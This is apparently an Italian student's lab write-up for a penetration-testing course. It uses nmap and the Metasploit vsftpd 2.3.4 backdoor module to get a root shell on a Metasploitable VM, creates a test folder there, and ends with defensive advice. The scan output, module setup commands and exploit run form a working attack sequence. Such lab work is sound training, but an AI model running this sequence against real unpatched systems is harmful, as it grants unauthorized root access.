

Vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica).

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/).

Chiamate la cartella test_metasploit.

Esercizio S7 L1

Davide Andreozzi

Innanzitutto apriamo nmap e facciamo uno scan per vedere le porte aperte e i relativi servizi e versioni correlate che ci servirà successivamente per individuare l'exploit da utilizzare

```
root@kali: ~  
File Actions Edit View Help  
Nmap scan report for 192.168.178.101  
Host is up (0.00054s latency).  
Not shown: 978 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rexecd  
514/tcp   open  tcpwrapped  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
MAC Address: 08:00:27:23:71:C8 (Oracle VirtualBox virtual NIC)
```

Successivamente apriamo Metasploit su Kali linux e andiamo a cercare l'exploit per la nostra versione di VSFTPD che è la 2.3.4

```
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes
	VSFTPD 2.3.2 Denial of Service			
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No
	VSFTPD v2.3.4 Backdoor Command Execution			

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

Andiamo a settare il modulo.

In particolare andiamo a inserire il nostro ip target tramite il comando «set rhosts 192.168.178.101»

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies    Proxies           no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT      RPORT             yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     LHOST            yes       The local client address
  LPORT     LPORT            yes       The local client port
  RHOST     RHOST            yes       The target host(s)
  RPORT     RPORT            yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.178.101
```

E diamo il comando di eseguire l'exploit.
Come si può notare la backdoor è stata «spawnata» e aperta una shell.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.178.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.178.101:21 - USER: 331 Please specify the password.
[+] 192.168.178.101:21 - Backdoor service has been spawned, handling ...
[+] 192.168.178.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.178.100:43821 → 192.168.178.101:6200) at 2024-01-22 14:20:55 +0100
```

Se andiamo a digitare il comando «ifconfig» potremo vedere come output l'ip della macchina target.

Successivamente è stata creata la cartella Test_Metasploit nel percorso radice della macchina bersaglio

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:23:71:c8
          inet addr:192.168.178.101  Bcast:192.168.178.255  Mask:255.255.255.0
          inet6 addr: 2002:5102:875a:0:a00:27ff:fe23:71c8/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe23:71c8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5213 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2600 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:369436 (360.7 KB)  TX bytes:253496 (247.5 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:236 errors:0 dropped:0 overruns:0 frame:0
          TX packets:236 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:89625 (87.5 KB)  TX bytes:89625 (87.5 KB)
```



Bloc Num attivo

```
mkdir Test_Metasploit
ls
Test
Test_Metasploit
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

Spostandoci sulla macchina bersaglio possiamo vedere che andando nel percorso radice del OS troviamo la cartella che abbiamo creato in precedenza dalla macchina attaccante.

```
msfadmin@metasploitable:~$ cd /  
msfadmin@metasploitable:/$ ls  
bin      etc      lib      nohup.out  sbin  Test_Metasploit  vmlinuz  
boot     home     lost+found  opt        srv    tmp  
cdrom    initrd   media      proc       sys    usr  
dev      initrd.img  mnt        root       Test   var  
msfadmin@metasploitable:/$
```

Conclusioni

- In sostanza abbiamo sfruttato un exploit di una versione specifica di un servizio attivo sulla macchina bersaglio che siamo riusciti a trovare tramite lo scanner nmap.
- Trovare un exploit è relativamente semplice, possiamo utilizzare database online o sw tipo Metasploit, o meglio ancora combinare l'uso di entrambi.
- Per potersi difendere da questo tipo di attacchi è buona norma aggiornare regolarmente i sw. Nella maggior parte dei casi le patch vanno a eliminare l'exploit, inoltre, sarebbe ottimo ridurre al minimo i privilegi root agli utenti e mitigare il più possibile tutti i servizi non utilizzati e chiuderne le porte ove possibile.